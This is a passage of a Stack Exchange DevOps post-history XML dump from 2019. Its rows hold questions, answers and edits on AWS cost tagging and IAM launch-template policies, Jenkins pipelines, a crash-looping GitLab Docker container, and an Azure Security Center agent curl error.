tagging scheme helps maintain a healthy account with less money going to waste.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24884" PostHistoryTypeId="24" PostId="3271" RevisionGUID="4641e33e-cd14-4906-bd7d-cb12e10a0c5a" CreationDate="2019-07-03T16:46:13.413" Comment="Proposed by 354 approved by -1 edit id of 1023" ContentLicense="CC BY-SA 4.0" />
  <row Id="24885" PostHistoryTypeId="5" PostId="3271" RevisionGUID="21b18c5e-41ac-42ff-a200-4535c77c025b" CreationDate="2019-07-03T16:46:13.413" UserId="40" Comment="deleted 9 characters in body" Text="If you wish to do it purely with AWS provided tools, try this:&#xD;&#xA;&#xD;&#xA;1. figure out a tagging scheme that works for you&#xD;&#xA;1. tag all the resources you provision, make sure nothing is left untagged&#xD;&#xA;1. for stuff you provision outside of the terraform and are not always tagged correctly by your tagging scheme, use AWS Config service to enforce the tagging scheme&#xD;&#xA;&#xD;&#xA;After you have all of your resources tagged, use AWS Budgets to monitor and tracked down changes in you spend and get alerts when it crosses the budget threshold you define.&#xD;&#xA;&#xD;&#xA;Also, create and periodically review some reports within the AWS Costs Explorer to find daily changes in region spend / service spend / _etc_.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Using a strict and meaningful tagging scheme helps maintain a healthy account with less money going to waste.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24886" PostHistoryTypeId="2" PostId="8532" RevisionGUID="298fb63e-e473-464c-9bda-f7ba47413921" CreationDate="2019-07-03T19:35:56.473" UserId="15822" Text="Running Jenkins on EC2 is the better option. It's better to keep the functions that manage your containers separate from the containers themselves. I know this is different than Kubernetes, but this isn't Kubernetes. &#xD;&#xA;&#xD;&#xA;Build an ELK Stack on EC2 as well and send your build logs to that instance so you can go through them when troubleshooting. It sounds like your setup is good with data volumes and such. I would recommend that you use Fargate instead of EC2 nodes for your workers though. Not clear which you are using. &#xD;&#xA;&#xD;&#xA;There are simpler solutions than Jenkins as well. You may want to consider CircleCI, GitLab Runner, TeamCity, Bamboo, and others. Jenkins is made to do all things and is a good place to learn the process, but if an alternative does the job just as well and more easily, then try that. My current favorite is GitLab Runner. It's just simpler and it integrates your Git repo with the CI tool in addition to having its own image repo for you to use (in certain versions). &#xD;&#xA;&#xD;&#xA;You can also give EKS a shot. I haven't tried it but Kubernetes is a superior product. It's far more complex, but definitely a better orchestration tool." ContentLicense="CC BY-SA 4.0" />
  <row Id="24889" PostHistoryTypeId="2" PostId="8533" RevisionGUID="fd0a2a78-617c-4a3e-bf36-5e7c5e0f38c3" CreationDate="2019-07-04T09:35:44.407" UserId="15836" Text="My system is running Ubuntu 18.04.2 LTS and Docker version 18.09.5, build e8ff056, Gitlab version gitlab-ee=12.0.3-ee.0.&#xD;&#xA;&#xD;&#xA;I am trying to spin up a docker container with the following run command:&#xD;&#xA;&#xD;&#xA;    docker run -i \&#xD;&#xA;      --hostname gitlab2.michael-thompson.net \&#xD;&#xA;      --name gitlab \&#xD;&#xA;      --restart unless-stopped \&#xD;&#xA;      --volume /docker/gitlab/config:/etc/gitlab:Z \&#xD;&#xA;      --volume /docker/gitlab/log:/var/log/gitlab:Z \&#xD;&#xA;      --volume /docker/gitlab/data:/var/opt/gitlab:Z \&#xD;&#xA;      --net=bridge \&#xD;&#xA;      --env TZ=Australia/Perth \&#xD;&#xA;      gitlab/gitlab-ee:latest&#xD;&#xA;&#xD;&#xA;The container boots for 20 seconds and then restarts (and continues in a never ending loop). Everything seems to run well until Gitlab attempts to &quot;migrate&quot; the database, and spits out the following error:&#xD;&#xA;&#xD;&#xA;    Recipe: gitlab::database_migrations&#xD;&#xA;      * bash[migrate gitlab-rails database] action run&#xD;&#xA;        [execute] rake aborted!&#xD;&#xA;                  StandardError: An error has occurred, this and all later migrations canceled:&#xD;&#xA;    &#xD;&#xA;                  PG::DuplicateTable: ERROR:  relation &quot;audit_events&quot; already exists&#xD;&#xA;                  : CREATE TABLE &quot;audit_events&quot; (&quot;id&quot; serial NOT NULL PRIMARY KEY, &quot;author_id&quot; integer NOT NULL, &quot;type&quot; character varying NOT NULL, &quot;entity_id&quot; integer NOT NULL, &quot;entity_type&quot; character varying NOT NULL, &quot;details&quot; text, &quot;created_at&quot; timestamp, &quot;updated_at&quot; timestamp)&#xD;&#xA;                  /opt/gitlab/embedded/service/gitlab-rails/db/migrate/20141118150935_add_audit_event.rb:6:in `change'&#xD;&#xA;                  /opt/gitlab/embedded/service/gitlab-rails/lib/tasks/gitlab/db.rake:56:in `block (3 levels) in &lt;top (required)&gt;'&#xD;&#xA;                  /opt/gitlab/embedded/bin/bundle:23:in `load'&#xD;&#xA;                  /opt/gitlab/embedded/bin/bundle:23:in `&lt;main&gt;'&#xD;&#xA;    &#xD;&#xA;                  Caused by:&#xD;&#xA;                  ActiveRecord::StatementInvalid: PG::DuplicateTable: ERROR:  relation &quot;audit_events&quot; already exists&#xD;&#xA;                  : CREATE TABLE &quot;audit_events&quot; (&quot;id&quot; serial NOT NULL PRIMARY KEY, &quot;author_id&quot; integer NOT NULL, &quot;type&quot; character varying NOT NULL, &quot;entity_id&quot; integer NOT NULL, &quot;entity_type&quot; character varying NOT NULL, &quot;details&quot; text, &quot;created_at&quot; timestamp, &quot;updated_at&quot; timestamp)&#xD;&#xA;                  /opt/gitlab/embedded/service/gitlab-rails/db/migrate/20141118150935_add_audit_event.rb:6:in `change'&#xD;&#xA;                  /opt/gitlab/embedded/service/gitlab-rails/lib/tasks/gitlab/db.rake:56:in `block (3 levels) in &lt;top (required)&gt;'&#xD;&#xA;                  /opt/gitlab/embedded/bin/bundle:23:in `load'&#xD;&#xA;                  /opt/gitlab/embedded/bin/bundle:23:in `&lt;main&gt;'&#xD;&#xA;    &#xD;&#xA;                  Caused by:&#xD;&#xA;                  PG::DuplicateTable: ERROR:  relation &quot;audit_events&quot; already exists&#xD;&#xA;                  /opt/gitlab/embedded/service/gitlab-rails/db/migrate/20141118150935_add_audit_event.rb:6:in `change'&#xD;&#xA;                  /opt/gitlab/embedded/service/gitlab-rails/lib/tasks/gitlab/db.rake:56:in `block (3 levels) in &lt;top (required)&gt;'&#xD;&#xA;                  /opt/gitlab/embedded/bin/bundle:23:in `load'&#xD;&#xA;                  /opt/gitlab/embedded/bin/bundle:23:in `&lt;main&gt;'&#xD;&#xA;                  Tasks: TOP =&gt; db:migrate&#xD;&#xA;                  (See full trace by running task with --trace)&#xD;&#xA;                  == 20141118150935 AddAuditEvent: migrating ====================================&#xD;&#xA;                  -- adapter_name()&#xD;&#xA;                     -&gt; 0.0000s&#xD;&#xA;                  -- adapter_name()&#xD;&#xA;                     -&gt; 0.0000s&#xD;&#xA;                  -- create_table(:audit_events, {:id=&gt;:integer})&#xD;&#xA;    &#xD;&#xA;        ================================================================================&#xD;&#xA;        Error executing action `run` on resource 'bash[migrate gitlab-rails database]'&#xD;&#xA;        ================================================================================&#xD;&#xA;    &#xD;&#xA;        Mixlib::ShellOut::ShellCommandFailed&#xD;&#xA;        ------------------------------------&#xD;&#xA;        Expected process to exit with [0], but received '1'&#xD;&#xA;        ---- Begin output of &quot;bash&quot;  &quot;/tmp/chef-script20190704-26-1gi3jcd&quot; ----&#xD;&#xA;        STDOUT: rake aborted!&#xD;&#xA;        StandardError: An error has occurred, this and all later migrations canceled:&#xD;&#xA;    &#xD;&#xA;        PG::DuplicateTable: ERROR:  relation &quot;audit_events&quot; already exists&#xD;&#xA;        : CREATE TABLE &quot;audit_events&quot; (&quot;id&quot; serial NOT NULL PRIMARY KEY, &quot;author_id&quot; integer NOT NULL, &quot;type&quot; character varying NOT NULL, &quot;entity_id&quot; integer NOT NULL, &quot;entity_type&quot; character varying NOT NULL, &quot;details&quot; text, &quot;created_at&quot; timestamp, &quot;updated_at&quot; timestamp)&#xD;&#xA;        /opt/gitlab/embedded/service/gitlab-rails/db/migrate/20141118150935_add_audit_event.rb:6:in `change'&#xD;&#xA;        /opt/gitlab/embedded/service/gitlab-rails/lib/tasks/gitlab/db.rake:56:in `block (3 levels) in &lt;top (required)&gt;'&#xD;&#xA;        /opt/gitlab/embedded/bin/bundle:23:in `load'&#xD;&#xA;        /opt/gitlab/embedded/bin/bundle:23:in `&lt;main&gt;'&#xD;&#xA;    &#xD;&#xA;        Caused by:&#xD;&#xA;        ActiveRecord::StatementInvalid: PG::DuplicateTable: ERROR:  relation &quot;audit_events&quot; already exists&#xD;&#xA;        : CREATE TABLE &quot;audit_events&quot; (&quot;id&quot; serial NOT NULL PRIMARY KEY, &quot;author_id&quot; integer NOT NULL, &quot;type&quot; character varying NOT NULL, &quot;entity_id&quot; integer NOT NULL, &quot;entity_type&quot; character varying NOT NULL, &quot;details&quot; text, &quot;created_at&quot; timestamp, &quot;updated_at&quot; timestamp)&#xD;&#xA;        /opt/gitlab/embedded/service/gitlab-rails/db/migrate/20141118150935_add_audit_event.rb:6:in `change'&#xD;&#xA;        /opt/gitlab/embedded/service/gitlab-rails/lib/tasks/gitlab/db.rake:56:in `block (3 levels) in &lt;top (required)&gt;'&#xD;&#xA;        /opt/gitlab/embedded/bin/bundle:23:in `load'&#xD;&#xA;        /opt/gitlab/embedded/bin/bundle:23:in `&lt;main&gt;'&#xD;&#xA;    &#xD;&#xA;        Caused by:&#xD;&#xA;        PG::DuplicateTable: ERROR:  relation &quot;audit_events&quot; already exists&#xD;&#xA;        /opt/gitlab/embedded/service/gitlab-rails/db/migrate/20141118150935_add_audit_event.rb:6:in `change'&#xD;&#xA;        /opt/gitlab/embedded/service/gitlab-rails/lib/tasks/gitlab/db.rake:56:in `block (3 levels) in &lt;top (required)&gt;'&#xD;&#xA;        /opt/gitlab/embedded/bin/bundle:23:in `load'&#xD;&#xA;        /opt/gitlab/embedded/bin/bundle:23:in `&lt;main&gt;'&#xD;&#xA;        Tasks: TOP =&gt; db:migrate&#xD;&#xA;        (See full trace by running task with --trace)&#xD;&#xA;        == 20141118150935 AddAuditEvent: migrating ====================================&#xD;&#xA;        -- adapter_name()&#xD;&#xA;           -&gt; 0.0000s&#xD;&#xA;        -- adapter_name()&#xD;&#xA;           -&gt; 0.0000s&#xD;&#xA;        -- create_table(:audit_events, {:id=&gt;:integer})&#xD;&#xA;        STDERR:&#xD;&#xA;        ---- End output of &quot;bash&quot;  &quot;/tmp/chef-script20190704-26-1gi3jcd&quot; ----&#xD;&#xA;        Ran &quot;bash&quot;  &quot;/tmp/chef-script20190704-26-1gi3jcd&quot; returned 1&#xD;&#xA;    &#xD;&#xA;        Resource Declaration:&#xD;&#xA;        ---------------------&#xD;&#xA;        # In /opt/gitlab/embedded/cookbooks/cache/cookbooks/gitlab/recipes/database_migrations.rb&#xD;&#xA;    &#xD;&#xA;         53: bash &quot;migrate gitlab-rails database&quot; do&#xD;&#xA;         54:   code &lt;&lt;-EOH&#xD;&#xA;         55:     set -e&#xD;&#xA;         56:     log_file=&quot;#{node['gitlab']['gitlab-rails']['log_directory']}/gitlab-rails-db-migrate-$(date +%Y-%m-%d-%H-%M-%S).log&quot;&#xD;&#xA;         57:     umask 077&#xD;&#xA;         58:     /opt/gitlab/bin/gitlab-rake gitlab:db:configure 2&gt;&amp; 1 | tee ${log_file}&#xD;&#xA;         59:     STATUS=${PIPESTATUS[0]}&#xD;&#xA;         60:     echo $STATUS &gt; #{db_migrate_status_file}&#xD;&#xA;         61:     exit $STATUS&#xD;&#xA;         62:   EOH&#xD;&#xA;         63:   environment env_variables unless env_variables.empty?&#xD;&#xA;         64:   notifies :run, &quot;execute[clear the gitlab-rails cache]&quot;, :immediately&#xD;&#xA;         65:   dependent_services.each do |svc|&#xD;&#xA;         66:     notifies :restart, svc, :immediately&#xD;&#xA;         67:   end&#xD;&#xA;         68:   not_if &quot;(test -f #{db_migrate_status_file}) &amp;&amp; (cat #{db_migrate_status_file} | grep -Fx 0)&quot;&#xD;&#xA;         69:   only_if { node['gitlab']['gitlab-rails']['auto_migrate'] }&#xD;&#xA;         70: end&#xD;&#xA;    &#xD;&#xA;        Compiled Resource:&#xD;&#xA;        ------------------&#xD;&#xA;        # Declared in /opt/gitlab/embedded/cookbooks/cache/cookbooks/gitlab/recipes/database_migrations.rb:53:in `from_file'&#xD;&#xA;    &#xD;&#xA;        bash(&quot;migrate gitlab-rails database&quot;) do&#xD;&#xA;          action [:run]&#xD;&#xA;          default_guard_interpreter :default&#xD;&#xA;          command nil&#xD;&#xA;          backup 5&#xD;&#xA;          returns 0&#xD;&#xA;          user nil&#xD;&#xA;          interpreter &quot;bash&quot;&#xD;&#xA;          declared_type :bash&#xD;&#xA;          cookbook_name &quot;gitlab&quot;&#xD;&#xA;          recipe_name &quot;database_migrations&quot;&#xD;&#xA;          code &quot;    set -e\n    log_file=\&quot;/var/log/gitlab/gitlab-rails/gitlab-rails-db-migrate-$(date +%Y-%m-%d-%H-%M-%S).log\&quot;\n    umask 077\n    /opt/gitlab/bin/gitlab-rake gitlab:db:configure 2&gt;&amp; 1 | tee ${log_file}\n    STATUS=${PIPESTATUS[0]}\n    echo $STATUS &gt; /var/opt/gitlab/gitlab-rails/upgrade-status/db-migrate-873248b1f0d3a7a5535771a3a1635803-1b1872f9d93\n    exit $STATUS\n&quot;&#xD;&#xA;          domain nil&#xD;&#xA;          not_if &quot;(test -f /var/opt/gitlab/gitlab-rails/upgrade-status/db-migrate-873248b1f0d3a7a5535771a3a1635803-1b1872f9d93) &amp;&amp; (cat /var/opt/gitlab/gitlab-rails/upgrade-status/db-migrate-873248b1f0d3a7a5535771a3a1635803-1b1872f9d93 | grep -Fx 0)&quot;&#xD;&#xA;          only_if { #code block }&#xD;&#xA;        end&#xD;&#xA;    &#xD;&#xA;        System Info:&#xD;&#xA;        ------------&#xD;&#xA;        chef_version=13.6.4&#xD;&#xA;        platform=ubuntu&#xD;&#xA;        platform_version=16.04&#xD;&#xA;        ruby=ruby 2.6.3p62 (2019-04-16 revision 67580) [x86_64-linux]&#xD;&#xA;        program_name=/opt/gitlab/embedded/bin/chef-client&#xD;&#xA;        executable=/opt/gitlab/embedded/bin/chef-client&#xD;&#xA;    &#xD;&#xA;    Recipe: gitlab::gitlab-rails&#xD;&#xA;      * execute[clear the gitlab-rails cache] action run&#xD;&#xA;&#xD;&#xA;I've spent the best part of a day on this and can't figure out why it is crashing. I'm not using an external database engine / container, so I expect that that should be brand new with my container, and don't understand how it could be that the table already exists.&#xD;&#xA;&#xD;&#xA;I have run the suggested `docker exec -it gitlab update-permissions` however given my suspicions it is database related, I had low hopes to which I seemed to be correct when trying to start the container again.&#xD;&#xA;&#xD;&#xA;I have also tried updating my system via apt (with no luck, to no surprise), stopping and starting my container, to find the same error. I am already running 2 docker containers at this very moment on the same box, without a problem. I am also running another instance of Gitlab elsewhere (not inside a container) with the same config (although tweaked for the new system), also without a problem. It was my intention to migrate into the docker Gitlab if I could get it working.&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="24890" PostHistoryTypeId="1" PostId="8533" RevisionGUID="fd0a2a78-617c-4a3e-bf36-5e7c5e0f38c3" CreationDate="2019-07-04T09:35:44.407" UserId="15836" Text="Docker instance of Gitlab EE Initial Configuration will not start" ContentLicense="CC BY-SA 4.0" />
  <row Id="24891" PostHistoryTypeId="3" PostId="8533" RevisionGUID="fd0a2a78-617c-4a3e-bf36-5e7c5e0f38c3" CreationDate="2019-07-04T09:35:44.407" UserId="15836" Text="&lt;docker&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24893" PostHistoryTypeId="2" PostId="8534" RevisionGUID="e5ce540a-243c-407a-8621-a8323df28809" CreationDate="2019-07-04T10:32:39.353" UserId="15073" Text="docker mysql container was working perfectl.But after restarting of the server and using the start command to run the conatiner it is not working.My other containers are all up and running as normal.But mysql shows status exited.If I do docker start conatiner id it takes the command.But I am unable to enter into the container .Please find the attachment also[![docker mysql container status][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ZzOhu.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="24894" PostHistoryTypeId="1" PostId="8534" RevisionGUID="e5ce540a-243c-407a-8621-a8323df28809" CreationDate="2019-07-04T10:32:39.353" UserId="15073" Text="docker mysql container not running suddenly" ContentLicense="CC BY-SA 4.0" />
  <row Id="24895" PostHistoryTypeId="3" PostId="8534" RevisionGUID="e5ce540a-243c-407a-8621-a8323df28809" CreationDate="2019-07-04T10:32:39.353" UserId="15073" Text="&lt;docker&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24896" PostHistoryTypeId="50" PostId="5885" RevisionGUID="34480007-92c4-410a-992a-48a8cd7b9081" CreationDate="2019-07-04T11:00:55.103" UserId="-1" />
  <row Id="24900" PostHistoryTypeId="50" PostId="8243" RevisionGUID="90a48c66-8bd2-4187-99cd-d415b07b3f59" CreationDate="2019-07-04T12:00:55.077" UserId="-1" />
  <row Id="24904" PostHistoryTypeId="2" PostId="8537" RevisionGUID="de694e9b-6e17-4566-beba-82b1dff8647d" CreationDate="2019-07-04T18:54:02.167" UserId="8125" Text="Try adding permissions on your project level:&#xD;&#xA;&#xD;&#xA;`gcloud projects add-iam-policy-binding &lt;your-project-id&gt; --member=serviceAccount:terraform@vpc-challenge-lab-245114.iam.gserviceaccount.com --role='roles/iam.serviceAccountUser'`&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24905" PostHistoryTypeId="50" PostId="8294" RevisionGUID="303e372d-f29d-4b4c-a51f-df02935982c8" CreationDate="2019-07-04T21:00:36.007" UserId="-1" />
  <row Id="24907" PostHistoryTypeId="50" PostId="8293" RevisionGUID="2ab6e1fa-904c-4c8c-bbb0-e658e06400e1" CreationDate="2019-07-05T00:02:10.213" UserId="-1" />
  <row Id="24909" PostHistoryTypeId="2" PostId="8539" RevisionGUID="791de668-c690-4f8e-baf3-f3bf5cfad645" CreationDate="2019-07-05T07:24:19.687" UserId="15848" Text="I'm currently working on a Microservice arch based project and writing Jenkins Pipeline for it&#xD;&#xA;&#xD;&#xA;Project Structure&#xD;&#xA;&#xD;&#xA;Web Service (master)&#xD;&#xA;&#xD;&#xA; - Jenkinsfile&#xD;&#xA; - Service 1&#xD;&#xA; - Service 2&#xD;&#xA; - Service 3&#xD;&#xA;&#xD;&#xA;Within each Service, there will be a Jenkinsfile that contains information on building and testing for the specific service&#xD;&#xA;&#xD;&#xA;How do i use the Jenkinsfile on the base directory to build and test each individual Services before running integration test on a cross service level ?&#xD;&#xA;&#xD;&#xA;I've been trying to look for ways to implement this, &#xD;&#xA;&#xD;&#xA;build seems to target project level, it is said to be able to process relative file path but i haven't had much success with it.&#xD;&#xA;&#xD;&#xA;load seems to be made for groovy file, which doesn't seem to fit the requirement&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24910" PostHistoryTypeId="1" PostId="8539" RevisionGUID="791de668-c690-4f8e-baf3-f3bf5cfad645" CreationDate="2019-07-05T07:24:19.687" UserId="15848" Text="Jenkinsfile for monorepo &amp; monobranch" ContentLicense="CC BY-SA 4.0" />
  <row Id="24911" PostHistoryTypeId="3" PostId="8539" RevisionGUID="791de668-c690-4f8e-baf3-f3bf5cfad645" CreationDate="2019-07-05T07:24:19.687" UserId="15848" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24913" PostHistoryTypeId="2" PostId="8540" RevisionGUID="ffb4aaa4-7aa1-4978-a605-5b29d2fa31f8" CreationDate="2019-07-05T08:24:52.987" UserId="354" Text="I have sometimes used the pattern where all pipeline things go in a `.pipeline/` directory of the app, including the Jenkinsfile. I would, in your case, add several pipelines (ie, Jenkinsfiles) - one per microservice as you propose, and one for the web app.&#xD;&#xA;&#xD;&#xA;Then, you define independent multibranch pipeline jobs, based on the location of the pipelines. In other words, you create 5 multibranch pipeline jobs, (one for the web app, one for each microservice), and attach each job to the relevant pipeline file in your repsitory. In this way, they will be tested independently.&#xD;&#xA;&#xD;&#xA;The important thing is to properly specify the correct triggers. The microservices will be triggered on changes to code in their path. They may also have as post-build actions the triggering of the web app pipeline, for integration tests, _etc_." ContentLicense="CC BY-SA 4.0" />
  <row Id="24914" PostHistoryTypeId="5" PostId="8539" RevisionGUID="fed0b8b4-9b8f-4a92-8ef2-a8c22f2cb85a" CreationDate="2019-07-05T08:25:07.703" UserId="354" Comment="clarify the directory layout and make the question more apparent." Text="I'm currently working on a Microservice architecture-based project and writing Jenkins Pipeline for it.&#xD;&#xA;&#xD;&#xA;The project structure is as follows:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Web Service (master)/&#xD;&#xA; - Jenkinsfile&#xD;&#xA;- Service 1/&#xD;&#xA;- Service 2/&#xD;&#xA;- Service 3/&#xD;&#xA;&#xD;&#xA;Within each Service, there will be a Jenkinsfile that contains information on building and testing for the specific service.&#xD;&#xA;&#xD;&#xA;**How do I use the Jenkinsfile on the base directory to build and test each individual Services before running integration test on a cross service level ?**&#xD;&#xA;&#xD;&#xA;I've been trying to look for ways to implement this, but the build seems to target project level, it is said to be able to process relative file path but I haven't had much success with it.&#xD;&#xA;&#xD;&#xA;I have tried loading, but load seems to be made for groovy file, which doesn't seem to fit the requirement.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24915" PostHistoryTypeId="24" PostId="8539" RevisionGUID="fed0b8b4-9b8f-4a92-8ef2-a8c22f2cb85a" CreationDate="2019-07-05T08:25:07.703" Comment="Proposed by 354 approved by -1 edit id of 1025" ContentLicense="CC BY-SA 4.0" />
  <row Id="24916" PostHistoryTypeId="5" PostId="8539" RevisionGUID="577be0d8-2778-47a3-b8e2-28b1aceb6ad6" CreationDate="2019-07-05T08:25:07.703" UserId="15848" Comment="clarify the directory layout and make the question more apparent." Text="I'm currently working on a Microservice architecture-based project and writing Jenkins Pipeline for it.&#xD;&#xA;&#xD;&#xA;The project structure is as follows:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Web Service (master)&#xD;&#xA;&#xD;&#xA;- Jenkinsfile&#xD;&#xA;- Service 1/&#xD;&#xA; - Jenkinsfile&#xD;&#xA;- Service 2/&#xD;&#xA; - Jenkinsfile&#xD;&#xA;- Service 3/&#xD;&#xA; - Jenkinsfile&#xD;&#xA;&#xD;&#xA;Within each Service, there will be a Jenkinsfile that contains information on building and testing for the specific service.&#xD;&#xA;&#xD;&#xA;**How do I use the Jenkinsfile on the base directory to build and test each individual Services before running integration test on a cross service level ?**&#xD;&#xA;&#xD;&#xA;I've been trying to look for ways to implement this, but the build seems to target project level, it is said to be able to process relative file path but I haven't had much success with it.&#xD;&#xA;&#xD;&#xA;I have tried loading, but load seems to be made for groovy file, which doesn't seem to fit the requirement.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24920" PostHistoryTypeId="2" PostId="8542" RevisionGUID="7b2efbc6-aad1-4d7e-8c2d-5d6125ea9903" CreationDate="2019-07-05T22:52:50.250" UserId="15852" Text="```Alternatively, is there another way I could allow an IAM user to launch an instance in line with a template, while preventing them from making changes (such as choosing a super-expensive instance type)?```&#xD;&#xA;&#xD;&#xA;I've encountered this problem last year and have circulated up to our AWS account's architect, who contacted their IAM division. &#xD;&#xA;&#xD;&#xA;AWS's response is that this is **intended behavior**. Reason given was that **&quot;An instance-type spec on a launch template is not a resource, or conditional that can be used to granted/deny permissions to&quot;**. Notice that inside the IAM policy, specifying a launch template is a condition to action &quot;RunInstance&quot;, and the resource of said policy is an ec2 instance. &#xD;&#xA;&#xD;&#xA;According to AWS IAM team, in order for you to restrict instance-type (a condition on the resource, &quot;instance&quot;), you must specify the restriction as part of the condition clause to be applied to the instance, like the following:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;  &quot;Action&quot;: &quot;ec2:RunInstances&quot;,&#xD;&#xA;  &quot;Resource&quot;: &quot;*&quot;,&#xD;&#xA;  &quot;Condition&quot;: {&#xD;&#xA;    &quot;ArnLike&quot;: {&#xD;&#xA;      &quot;ec2:LaunchTemplate&quot;: &quot;arn:aws:ec2:ap-southeast-2:xxxxxxx:launch-template/lt-xxxxxxx&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;Bool&quot;: {&#xD;&#xA;      &quot;ec2:IsLaunchTemplateResource&quot;: &quot;true&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;StringNotLikeIfExists&quot;: {&#xD;&#xA;      &quot;ec2:InstanceType&quot;: [&#xD;&#xA;        &quot;c5.*xlarge&quot;,&#xD;&#xA;        &quot;p3.*xlarge&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Obviously, it is near impossible to list all of the expensive instances we don't want our users to use, and kinda defeats the purpose of using a launch template.  But in a messed-up way, in the IAM world AWS created, this actually makes sense. &#xD;&#xA;&#xD;&#xA;Consider the docs here: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ExamplePolicies_EC2.html#iam-example-runinstances-launch-templates&#xD;&#xA;&#xD;&#xA;Note the language: `The policy uses the ec2:IsLaunchTemplateResource condition key to prevent users from overriding any of the launch template *resources* in the RunInstances request.`  So that clause only applies to resources (like NICs, IPs, etc), but not instance-type, which is not considered as a resource. &#xD;&#xA;&#xD;&#xA;I asked that they revise their docs to explain this, and of course, nothing's changed. " ContentLicense="CC BY-SA 4.0" />
  <row Id="24926" PostHistoryTypeId="50" PostId="6218" RevisionGUID="febacc16-da17-46df-ba8b-fd7312eca52c" CreationDate="2019-07-06T06:01:50.257" UserId="-1" />
  <row Id="24929" PostHistoryTypeId="50" PostId="6188" RevisionGUID="b7ba9055-e777-4835-ad91-5c99efc9b37a" CreationDate="2019-07-06T08:02:15.260" UserId="-1" />
  <row Id="24930" PostHistoryTypeId="50" PostId="6069" RevisionGUID="8477266a-486e-46e3-9312-cbaf6bb4fc99" CreationDate="2019-07-06T09:02:05.230" UserId="-1" />
  <row Id="24932" PostHistoryTypeId="50" PostId="6261" RevisionGUID="cd4981bf-bb48-47f9-97c6-0edcd01e2ce6" CreationDate="2019-07-06T12:02:20.290" UserId="-1" />
  <row Id="24943" PostHistoryTypeId="2" PostId="8547" RevisionGUID="b1558208-2c0b-4c7e-8a56-69841d8d30e6" CreationDate="2019-07-06T21:21:29.980" UserId="786" Text="Has anyone successfully gotten the Azure Security Center agent to work with Ubuntu 19? My `omsconfig.log` is full of messages like&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;This event indicates that failure happens when LCM is trying to get the configuration from pull server using download manager null. ErrorId is 1. ErrorDetail is cURL failed to perform on this base url: uks-agentservice-prod-1.azure-automation.net with this error message: Stream error in the HTTP/2 framing layer. Make sure cURL and SSL libraries are up to date.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I am convinced that they are up to date&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# openssl version&#xD;&#xA;OpenSSL 1.1.1b  26 Feb 2019&#xD;&#xA;# curl --version&#xD;&#xA;curl 7.64.0 (x86_64-pc-linux-gnu) libcurl/7.64.0 OpenSSL/1.1.1b zlib/1.2.11 libidn2/2.0.5 libpsl/0.20.2 (+libidn2/2.0.5) libssh/0.8.6/openssl/zlib nghttp2/1.36.0 librtmp/2.3&#xD;&#xA;Release-Date: 2019-02-06&#xD;&#xA;Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp &#xD;&#xA;Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In `omsadmin.sh` I see&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;#This is a temporary fix for Systems with Curl versions using HTTP\2 as default&#xD;&#xA;    #Since 7.47.0, the curl tool enables HTTP/2 by default for HTTPS connections. This fix runs curl with --http1.1 on systems with version above 7.47.0&#xD;&#xA;    #Curl http2 Docs Link: https://curl.haxx.se/docs/http2.html&#xD;&#xA;    CURL_VERSION_WITH_DEFAULT_HTTP2=&quot;7470&quot;&#xD;&#xA;    CURL_VERSION_SYSTEM=`curl --version | head -c11 | awk '{print $2}' | tr --delete .`&#xD;&#xA;    if [ $CURL_VERSION_SYSTEM -gt $CURL_VERSION_WITH_DEFAULT_HTTP2 ]; then&#xD;&#xA;      CURL_HTTP_COMMAND=&quot;--http1.1&quot;&#xD;&#xA;    fi&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But this doesn't seem to be honoured by `OMSConsistencyInvoker` which is a binary file. The above error in the `omsconfig.log` coincides every 15 minutes with that command being invoked from `cron`. " ContentLicense="CC BY-SA 4.0" />
  <row Id="24944" PostHistoryTypeId="1" PostId="8547" RevisionGUID="b1558208-2c0b-4c7e-8a56-69841d8d30e6" CreationDate="2019-07-06T21:21:29.980" UserId="786" Text="Azure Security Center with Ubuntu 19" ContentLicense="CC BY-SA 4.0" />
  <row Id="24945" PostHistoryTypeId="3" PostId="8547" RevisionGUID="b1558208-2c0b-4c7e-8a56-69841d8d30e6" CreationDate="2019-07-06T21:21:29.980" UserId="786" Text="&lt;linux&gt;&lt;azure&gt;&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
